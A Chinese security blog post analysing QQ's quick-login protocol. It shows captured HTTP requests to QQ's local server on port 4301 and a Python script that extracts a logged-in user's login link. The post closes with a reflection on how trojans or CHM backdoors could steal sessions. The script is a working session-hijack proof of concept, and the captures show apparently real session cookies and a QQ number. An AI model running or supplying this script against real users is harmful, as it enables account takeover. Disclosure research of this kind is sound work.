QQ快速登入協議分析以及風險反思

weixin_30639719發表於2020-04-05

 

前言

眾所周知,Tencent以前使用Activex的方式實施QQ快速登入,現在快速登入已經不用控制元件了。那現在用了什麼奇葩的方法做到Web和本地的應用程式互動呢?其實猜測一下,Web和本地應用進行互動可能採用http互動,事實也是如此。

 

快速登入分析

  1. 快速登陸框請求

 

 

https://xui.ptlogin2.qq.com/cgi-bin/xlogin?appid=715030901&daid=371&ptnoauth=1&s_url=https%3A%2F%2Fbuluo.qq.com%2F%23

GET /cgi-bin/xlogin?appid=715030901&daid=371&pt_no_auth=1&s_url=https%3A%2F%2Fbuluo.qq.com%2F HTTP/1.1

Host: xui.ptlogin2.qq.com

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0) Gecko/20100101 Firefox/61.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2

Accept-Encoding: gzip, deflate, br

Referer: https://buluo.qq.com/

Connection: keep-alive

Upgrade-Insecure-Requests: 1

  

引數說明:

  • appid和daid 對應這不同的登陸服務,例如QQ空間和興趣部落是不一樣的

  • Referer必須以.qq.com域名

通過這個請求會響應cookie,比較關鍵的是ptlocaltoken欄位

 

2.獲取線上的QQ使用者

 

 

通過上述的請求,可以獲取已經登入的QQ暱稱。請求與響應的具體內容如下:

請求:

GET /pt_get_uins?callback=ptui_getuins_CB&r=0.70722284119771&pt_local_tk=-1335054259 HTTP/1.1

Host: localhost.ptlogin2.qq.com:4301

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0) Gecko/20100101 Firefox/61.0

Accept: */*

Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2

Accept-Encoding: gzip, deflate, br

Referer: https://xui.ptlogin2.qq.com/cgi-bin/xlogin?appid=715030901&daid=371&pt_no_auth=1&s_url=https%3A%2F%2Fbuluo.qq.com%2F

Cookie: pt_login_sig=SJ7R2dQseOuqFw5aaI9jiB644Ms5einfscJ5bRwUNQhiODEIvxjXz9Zfl9M7oiXL;pt_serverip=28f40af17263c651; pt_local_token=-1335054259;  pgv_pvi=2505876480; pgv_si=s8995244032; _qpsvr_localtk=0.3150553721024726

Connection: keep-alive

  

響應:

var var_sso_uin_list=[{"account":"xxxxxxxxx","client_type":65793,"face_index":339,"gender":1,"nickname":"xxxxxxx","uin":"xxxxxxxxx","uin_flag":327156224}];ptui_getuins_CB(var_sso_uin_list);

  

在上面的請求中,大家可以從中發現localhost.ptlogin2.qq.com:4301  這個域名與埠,如果你嘗試ping一下這個域名,發現其實它是127.0.0.1。

 

而4301則是QQ所監聽的埠。

使用netstat -anto 命令可以看到監聽4301埠的程式id為9284。

 

然後使用 tasklist|findstr "9284" 命令,發現確實為QQ.exe

 

 

3.點選使用者頭像

 

 

 

點選之後一定要注意cookie的變化。

 

3.1 cookie變化1

 

請求:

GET /pt_get_st?clientuin=594675898&callback=ptui_getst_CB&r=0.9726726550496937&pt_local_tk=1692729835 HTTP/1.1

Host: localhost.ptlogin2.qq.com:4301

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0) Gecko/20100101 Firefox/61.0

Accept: */*

Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2

Accept-Encoding: gzip, deflate, br

Referer: https://xui.ptlogin2.qq.com/cgi-bin/xlogin?appid=715030901&daid=371&pt_no_auth=1&s_url=https%3A%2F%2Fbuluo.qq.com%2F%23

Cookie: pt_login_sig=f0Eq6l9zHyn*yYdNjJsUDxgkL1TNffDt*Ek7T4uB5KN9uD*SAQhmENn7Tbb2AUkB; pt_clientip=5c490e1116214b49; pt_serverip=aaa20af17263555d; pt_local_token=1692729835; uikey=2ff0398fd9f14f09281e369daf09808512791eccdd166e64088ee1a9bdfff26d; pt_guid_sig=a015dce2e00991b4181682d886b9b8dae892bd36dcb1afe3fcc2e93945a58cab; pgv_pvi=2505876480; pgv_si=s8995244032; _qpsvr_localtk=0.3150553721024726; qrsig=UfyPCl5FKmlPv-LqW1BONsykudZ*eQuMiyxzvPK17SSFISshoJzQNrOzd3tLVx4H; pt2gguin=o0594675898; ETK=; pt_recent_uins=046df7337fa517d209268b658c29ffa7eed66beaed9b66d86cb700aa5bdaf630fd18757dee2e15d69465910176e5cc0328bdfcc212f7fd96; ptisp=ctc; RK=6K58L1C0Zq; ptnick_594675898=e4b880e7bc95e99d92e4b89d; ptcz=b13e557d01d48fb5f7b394288c304db80aea0ab3d62b31b492354e58b627211a

Connection: keep-alive

  

3.2 cookie變化2

 

請求:

GET /jump?clientuin=xxxxxx&keyindex=9&pt_aid=715030901&daid=371&u1=https%3A%2F%2Fbuluo.qq.com%2F%23&pt_local_tk=1240200107&pt_3rd_aid=0&ptopt=1&style=40 HTTP/1.1

Host: ssl.ptlogin2.qq.com

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0) Gecko/20100101 Firefox/61.0

Accept: */*

Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2

Accept-Encoding: gzip, deflate, br

Referer: https://xui.ptlogin2.qq.com/cgi-bin/xlogin?appid=715030901&daid=371&pt_no_auth=1&s_url=https%3A%2F%2Fbuluo.qq.com%2F%23

Cookie: pt_login_sig=f0Eq6l9zHyn*yYdNjJsUDxgkL1TNffDt*Ek7T4uB5KN9uD*SAQhmENn7Tbb2AUkB; pt_clientip=5c490e1116214b49; pt_serverip=aaa20af17263555d; pt_local_token=1692729835; uikey=2ff0398fd9f14f09281e369daf09808512791eccdd166e64088ee1a9bdfff26d; pt_guid_sig=a015dce2e00991b4181682d886b9b8dae892bd36dcb1afe3fcc2e93945a58cab; pgv_pvi=2505876480; pgv_si=s8995244032; _qpsvr_localtk=0.3150553721024726; qrsig=UfyPCl5FKmlPv-LqW1BONsykudZ*eQuMiyxzvPK17SSFISshoJzQNrOzd3tLVx4H; clientuin=594675898; pt2gguin=o0594675898; ETK=; pt_recent_uins=046df7337fa517d209268b658c29ffa7eed66beaed9b66d86cb700aa5bdaf630fd18757dee2e15d69465910176e5cc0328bdfcc212f7fd96; ptisp=ctc; RK=6K58L1C0Zq; ptnick_594675898=e4b880e7bc95e99d92e4b89d; ptcz=b13e557d01d48fb5f7b394288c304db80aea0ab3d62b31b492354e58b627211a; 

Connection: keep-alive

  

3.3 登陸跳轉連結

 

在上一步的請求中,會返回最終的登陸跳轉連結,把這個連結複製到瀏覽器中即可完成登陸

4 模擬登陸

通過上述獲取的跳轉連結就可以登入成功。通過對上述過程的分析,下面使用Python來進行模擬登陸。程式碼如下:

import re
import requests


headers= {'Referer':'https://buluo.qq.com/',

         "User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0) Gecko/20100101 Firefox/61.0"

         }

##第一步獲取pt_local_token

s = requests.session()

r = s.get("https://xui.ptlogin2.qq.com/cgi-bin/xlogin?appid=715030901&daid=371&pt_no_auth=1&s_url=https%3A%2F%2Fbuluo.qq.com%2F%23",headers=headers)

pt_local_token = r.cookies.get('pt_local_token')

 

##第二步獲取線上的QQ使用者

r = s.get("https://localhost.ptlogin2.qq.com:4301/pt_get_uins?callback=ptui_getuins_CB&r=0.70722284119771&pt_local_tk="+pt_local_token,headers=headers)

 

pattern = re.compile(r'"uin":"(\d+)"')

uin = pattern.findall(r.text)

if len(uin)>0:

   #獲取cookie

   s.get("https://localhost.ptlogin2.qq.com:4301/pt_get_st?clientuin=%s&callback=ptui_getst_CB&r=0.9726726550496937&pt_local_tk=%s"%(uin[0],pt_local_token),headers=headers)

   r = s.get('https://ssl.ptlogin2.qq.com/jump?clientuin=%s&keyindex=9&pt_aid=715030901&daid=371&u1=https://buluo.qq.com/&pt_local_tk=%s&pt_3rd_aid=0&ptopt=1&style=40'%(uin[0],pt_local_token),headers=headers)

   pattern = re.compile(r'http[s]?://(?:[a-zA-Z]|[0-9]|[$-_@.&+]|[!*\(\),]|(?:%[0-9a-fA-F][0-9a-fA-F]))+')

   url = pattern.findall(r.text)

   print(url[0])

  

反思

QQ的快捷登入是通過在本地建立了一個伺服器,並繫結了127.0.0.1,然後使瀏覽器訪問本地伺服器進行實現的。如果想盜取cookie或者是登入連結,需要黑客在你電腦上植入木馬,然後和你的QQ互動才能做到。但是一細想,既然黑客已經可以在你的電腦裡植入木馬,完全可以獲取你的QQ賬號密碼了。難道QQ這種通訊方式真的沒有反思的地方嗎

個人感覺並非如此!!!QQ並沒有校驗請求的來源,任何一個可以傳送http請求的程式均可與之互動,並獲取cookie。其實這是大大降低了攻擊的成本,是很容易進行惡意營銷的。為什麼說降低了攻擊成本呢?一般的QQ盜號,是上傳木馬,要麼截圖獲取你的賬號密碼,要麼監聽你的鍵盤輸入。這樣的木馬行為首先比較容易被安全軟體發現,然後就算你獲取了盜取了密碼,在你的電腦上登陸,很容易被QQ安全中心發現,給使用者傳送異地登陸警告的,所以利用QQ號碼盈利並不是特別的容易

但是通過本文的想法,木馬在使用者電腦執行,很容易獲取cookie,而且安全軟體並不會從你的請求中發現異樣,當木馬獲取cookie後,就可以訪問你的服務與資產,比如 在你的空間自動發帖,發郵件,檢視相簿等等,而且就算你換了密碼都沒用。盈利的方式多樣,而且成本很低,傳播容易。為什麼說傳播容易呢?

 我們們可以想象這樣的一個攻擊場景chm檔案一般是幫助文件或者是電子書,但可以作為後門,而且隱蔽性很強。chm後門和QQ互動後,獲取cookie,又將自身的下載連結放到空間等等地方,繼續傳播。

 

總而言之,攻擊成本降低,盈利效率提高,黑產喜歡的方式

 

 

最後

關注公眾號:七夜安全部落格

  • 回覆【1】:領取 Python資料分析 教程大禮包
  • 回覆【2】:領取 Python Flask 全套教程
  • 回覆【3】:領取 某學院 機器學習 教程
  • 回覆【4】:領取 爬蟲 教程

 

轉載於:https://www.cnblogs.com/qiyeboy/p/9496262.html

相關文章